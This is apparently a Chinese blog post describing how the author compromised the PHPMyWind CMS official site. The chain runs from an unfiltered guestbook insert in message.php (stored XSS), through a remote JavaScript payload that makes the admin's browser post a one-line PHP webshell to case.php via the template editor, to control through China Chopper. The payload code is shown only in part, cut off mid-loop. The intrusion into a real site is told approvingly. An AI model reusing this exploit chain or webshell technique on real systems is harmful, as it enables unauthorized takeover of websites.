审计代码吧,首先看后台能不能getShell
直接编辑 php文件 写入一句话
所有Sql 语句全部经过一个非常变态的函数
80sec 写的,绕不鸟,群里面叫了几句,无果, 压力肯大
Sql injection不可能了,看到 message.php
if(@$action == 'add')
{
$sql = "INSERT INTO `#@__message` (nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES ('$nickname', '$contact', '$content', '', '".GetMkTime(time())."', '', '', 'false', '".gethostbyname($_SERVER['REMOTE_ADDR'])."')";
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('留言成功,感谢您的支持!','message.php');
exit();
}
}
留言内容没有任何过滤直接入库….典型的 xss
Csrf 利用
留言去xss配合后台的模板编辑getshell,当管理员点击查看留言时,劫持管理员的浏览器(csrf)模板写入一句话
,额,先写远程的js代码吧
当管理员后台点击,留言模块管理,会在根目录生成一句话
留言标题处写入
Mywind.js代码
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
简单解释一下上面的js ,首先改造出兼容的 js ajax(不知道ajax 的童鞋 google it)
然后通过 ajax向/admin/editfile_do.php?action=update&filename=case.php 提交数据
Content =
写入 case.php 密码 sex()
留言代码
接下来就是等了 ,这个是个新出的cms,管理员肯定会去猛看留言,每天访问 case.php
终于有一天
一片空白,很明显successd
菜刀上,结束了……
原文连接:phpmywind xss & csrf getShell 拿下官网
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。